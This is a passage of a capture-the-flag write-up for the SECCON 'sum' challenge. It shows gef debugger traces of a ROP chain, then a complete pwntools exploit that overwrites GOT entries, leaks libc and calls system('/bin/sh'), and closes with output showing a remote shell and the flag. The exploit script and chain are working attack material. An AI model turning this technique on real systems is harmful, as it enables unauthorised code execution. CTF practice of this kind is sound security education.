───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x18
$rsp : 0x00007ffd12150f20 → 0x0000000000400a43 → <__libc_csu_init+99> pop rdi
$rbp : 0x00007ffd12150f60 → 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15
$rsi : 0xff5666dcfd1d
$rdi : 0x00000000004009c4 → <main+193> mov eax, 0x0
$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00007fab33584cc0 → 0x0002000200020002
$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al
$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp
$r13 : 0x00007ffd12151110 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f20│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp
0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd12150f30│+0x0010: 0x00007fab33435440 → <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0018: 0x0000000000000000
0x00007ffd12150f40│+0x0020: 0x0000000000000000
0x00007ffd12150f48│+0x0028: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400a3e <__libc_csu_init+94> pop r13
0x400a40 <__libc_csu_init+96> pop r14
0x400a42 <__libc_csu_init+98> pop r15
→ 0x400a44 <__libc_csu_init+100> ret
↳ 0x400a43 <__libc_csu_init+99> pop rdi
0x400a44 <__libc_csu_init+100> ret
0x400a45 nop
0x400a46 nop WORD PTR cs:[rax+rax*1+0x0]
0x400a50 <__libc_csu_fini+0> repz ret
0x400a52 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤
Then we have the rop gadget to through the address of /bin/sh
into rdi
, and return to system:
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f28│+0x0000: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?) ← $rsp
0x00007ffd12150f30│+0x0008: 0x00007fab33435440 → <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0010: 0x0000000000000000
0x00007ffd12150f40│+0x0018: 0x0000000000000000
0x00007ffd12150f48│+0x0020: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0028: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0030: 0xc21062d171a89f00
0x00007ffd12150f60│+0x0038: 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x400a43 <__libc_csu_init+99> pop rdi
0x400a44 <__libc_csu_init+100> ret
0x400a45 nop
0x400a46 nop WORD PTR cs:[rax+rax*1+0x0]
0x400a50 <__libc_csu_fini+0> repz ret
0x400a52 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤ s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x18
$rsp : 0x00007ffd12150f30 → 0x00007fab33435440 → <system+0> test rdi, rdi
$rbp : 0x00007ffd12150f60 → 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15
$rsi : 0xff5666dcfd1d
$rdi : 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)
$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00007fab33584cc0 → 0x0002000200020002
$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al
$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp
$r13 : 0x00007ffd12151110 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f30│+0x0000: 0x00007fab33435440 → <system+0> test rdi, rdi ← $rsp
0x00007ffd12150f38│+0x0008: 0x0000000000000000
0x00007ffd12150f40│+0x0010: 0x0000000000000000
0x00007ffd12150f48│+0x0018: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0020: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0028: 0xc21062d171a89f00
0x00007ffd12150f60│+0x0030: 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp
0x00007ffd12150f68│+0x0038: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400a3e <__libc_csu_init+94> pop r13
0x400a40 <__libc_csu_init+96> pop r14
0x400a42 <__libc_csu_init+98> pop r15
→ 0x400a44 <__libc_csu_init+100> ret
↳ 0x7fab33435440 <system+0> test rdi, rdi
0x7fab33435443 <system+3> je 0x7fab33435450 <system+16>
0x7fab33435445 <system+5> jmp 0x7fab33434eb0
0x7fab3343544a <system+10> nop WORD PTR [rax+rax*1+0x0]
0x7fab33435450 <system+16> lea rdi, [rip+0x164a4b] # 0x7fab33599ea2
0x7fab33435457 <system+23> sub rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤ x/s $rdi
0x7fab33599e9a: "/bin/sh"
gef➤
Exploit
Putting it all together, we have the following exploit:
from pwn import *
# Establish the target
#target = remote("sum.chal.seccon.jp", 10001)
target = process('sum_ccafa40ee6a5a675341787636292bf3c84d17264', env={"LD_PRELOAD":"./libc.so"})
#gdb.attach(target, gdbscript='b *0x4009bf\nb *0x4009a7')
# Establish the libc / binary files
elf = ELF('sum_ccafa40ee6a5a675341787636292bf3c84d17264')
libc = ELF("libc.so")
# Establish some needed addresses
main = elf.symbols['main']
popRdi = 0x400a43
# A function to handle the qword writes
def write(adr, value):
target.sendline("9223372036854775807")
target.sendline(str(0x7fffffffffffffff - adr))
target.sendline("1")
target.sendline("1")
target.sendline(str(value))
target.sendline(str(adr))
# Overwrite got address of exit with the starting address of main
write(elf.got['exit'], main)
# Overwrite got address of printf with popRdi gadget
write(elf.got['printf'], popRdi)
# Rop chain to leak libc via puts(got_puts)
target.sendline(str(popRdi)) # pop rdi to make puts call
target.sendline(str(elf.got['puts'])) # got address of puts, argument to puts call
target.sendline(str(elf.symbols['puts'])) # plt address of puts
target.sendline(str(0x4009a7)) # address of `call exit`, to bring us back to start of main
target.sendline("0") # 0 to end number sequence
# Scan in output of program, to make it to the infoleak
for i in range(0, 18):
print target.recvline()
# Scan in and parse out infoleak, figure out where libc base is
leak = target.recvline().strip("\n")
leak = u64(leak + "\x00"*(8 - len(leak)))
base = leak - libc.symbols["puts"]
print "base is: " + hex(base)
# Rop chain to call system("/bin/sh")
target.sendline(str(popRdi)) # pop rdi to make system call
target.sendline(str(base + 0x1b3e9a)) # binsh libc address
target.sendline(str(base + libc.symbols["system"])) # libc address of system, which we will return to
target.sendline("0") # 0 to end sequence
target.interactive()
When we run it:
$ python exploit.py
[+] Opening connection to sum.chal.seccon.jp on port 10001: Done
[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/seccon/sum/libc.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
base is: 0x7f796623c000
[*] Switching to interactive mode
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
$ w
20:42:25 up 18:10, 0 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sum
sys
tmp
usr
var
$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
$
Just like that, we pwned the challenge!